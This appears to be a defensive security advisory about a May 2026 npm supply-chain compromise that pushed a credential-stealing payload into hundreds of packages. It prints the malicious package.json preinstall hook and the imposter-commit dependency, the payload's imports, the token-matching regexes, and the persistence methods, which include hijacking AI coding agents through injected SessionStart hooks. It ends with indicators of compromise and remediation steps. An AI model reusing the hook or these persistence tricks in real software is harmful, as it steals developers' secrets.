The Attack in Numbers
On May 19, 2026, the npm account atool was compromised. In two automated waves spanning 22 minutes, the attacker published 637 malicious versions across 314 packages. The first wave (01:39-01:56 UTC) hit ~317 packages, followed by a second wave (02:05-02:06 UTC) that bumped versions on ~314 packages. Four packages—size-sensor, echarts-for-react, jest-canvas-mock, jest-date-mock—received three versions, likely used for early testing.
High-Impact Packages
Affected packages include:
size-sensor(4.2M downloads/month)echarts-for-react(3.8M downloads/month)@antv/scale(2.2M downloads/month)timeago.js(1.15M downloads/month)- Hundreds of
@antvscoped packages
Crucially, the attacker did not move the latest dist-tag on most packages. But that offers no protection: npm's semver resolution picks the highest matching version regardless of tags. Any project using "echarts-for-react": "^3.0.6" resolves to 3.2.7 (malicious) on the next clean install.
Execution Trigger
Every malicious version makes two changes to package.json:
// size-sensor 1.0.3 → 1.1.4
{
"version": "1.1.4",
"scripts": {
"preinstall": "bun run index.js"
},
"optionalDependencies": {
"@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
}
}
The preinstall hook runs before any dependencies are installed and requires Bun as the runtime. 630 of the 637 versions also inject an optionalDependencies entry pointing to imposter commits in the legitimate antvis/G2 GitHub repository—orphan commits with forged authorship, invisible in the repo's branch history. This provides a redundant payload delivery that survives even if preinstall hooks are blocked.
The Payload: Mini Shai-Hulud
index.js is a single-line, 498KB obfuscated Bun bundle. It matches the Mini Shai-Hulud toolkit from a SAP compromise three weeks earlier: same obfuscation pattern (hex-variable lookup table + base64/XOR encrypted strings), same scanner architecture with a 100KB flush threshold, same credential regex set.
Extracted imports reveal the full scope:
import { execSync } from 'child_process';
import { spawn } from 'child_process';
import { homedir } from 'os';
import { readFile, readFileSync, writeFileSync, createWriteStream } from 'fs';
import { createHash, createDecipheriv, pbkdf2Sync, generateKeyPairSync, sign } from 'crypto';
import { pipeline } from 'stream/promises';
The main function J2() orchestrates multiple scanner classes targeting different credential types, dispatching results through a batched sender with a 100KB flush threshold.
Credential Harvesting
The payload reads 80+ environment variables and scans file contents using regex patterns. Targets include:
- GitHub tokens (
gh[op]_[A-Za-z0-9]{36,}) - npm tokens (
npm_[A-Za-z0-9]{36,}) - AWS keys (AKIA pattern, plus full EC2 metadata and ECS container credentials)
- GCP service accounts, Azure keys, database connection strings
- Stripe keys, Slack tokens, SSH keys, Docker auth, Kubernetes service account tokens, HashiCorp Vault tokens
In CI environments, the payload detects 20+ platforms via environment variables. When running in GitHub Actions, it activates additional data collection: workflow runs, artifacts, secrets metadata, and OIDC token exchange.
Exfiltration via GitHub
Stolen data is committed as Git objects to public GitHub repositories created under the compromised token's account. The User-Agent is forged as python-requests/2.31.0. Repositories follow a Dune-themed naming pattern: {word1}-{word2}-{number} where word1 is one of sardaukar, mentat, fremen, atreides, harkonnen, gesserit, prescient, fedaykin, tleilaxu, siridar, kanly, sayyadina, ghola, powindah, prana, kralizec and word2 is one of sandworm, ornithopter, heighliner, stillsuit, lasgun, sietch, melange, thumper, navigator, fedaykin, futar, phibian, slig, cogitor, laza, ghola. The description is "Shai-Hulud: Here We Go Again" (reversed in source).
CI/CD and AI Agent Hijacking
- CI/CD persistence: Injects
.github/workflows/codeql.ymlnamed "Run Copilot" that dumpstoJSON(secrets)as a GitHub Actions artifact, then self-cleans by deleting the workflow run and resetting the branch. - AI agent hijacking: Injects
SessionStarthooks into Claude Code (~/.claude/settings.json) and Codex, plus a VS Codetasks.jsonwith"runOn": "folderOpen". All trigger a Bun bootstrapper that re-executes the payload. - System persistence: Installs a systemd user service
kitty-monitor.service(or macOS LaunchAgentcom.user.kitty-monitor.plist) that runs a Python daemon polling GitHub's commit search API hourly for RSA-PSS signed commands containing the keywordfiredalazer. A separategh-token-monitordaemon polls stolen GitHub tokens every 60 seconds. - Container escape: Attempts Docker socket access to bind-mount the host filesystem.
- Local propagation: Copies payload files and hooks into other Node.js projects on the same machine.
Indicators of Compromise
- Packages published by
atool([email protected]) on 2026-05-19 between 01:44 and 02:06 UTC preinstallscript:bun run index.js- Payload SHA256:
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c - Imposter commits in
antvis/G2:1916faa365f2788b6e193514872d51a242876569,7cb42f57561c321ecb09b4552802ae0ac55b3a7a - Optional dependency:
@antv/setup: github:antvis/G2# - Branches named
chore/add-codeql-static-analysis - Files:
~/.local/share/kitty/cat.py,/var/tmp/.gh_update_state - GitHub commits containing
firedalazer
What You Should Do Now
- Audit your lockfiles: Check for any package published by
atoolon May 19, 2026. Runnpm auditand inspect for the suspiciousoptionalDependenciesentry. - Rotate all credentials: Any token or key that existed on affected machines must be considered compromised.
- Review GitHub repositories: Look for unfamiliar repos with the Dune naming pattern or branches named
chore/add-codeql-static-analysis. - Use Package Manager Guard (pmg): An open-source install proxy that evaluates packages against threat intelligence before
preinstallscripts run. Its "dependency cooldown" can refuse versions published inside a configurable window. - Pin your dependencies: Use exact versions or lockfiles, and review any
preinstallhooks in your dependency tree.


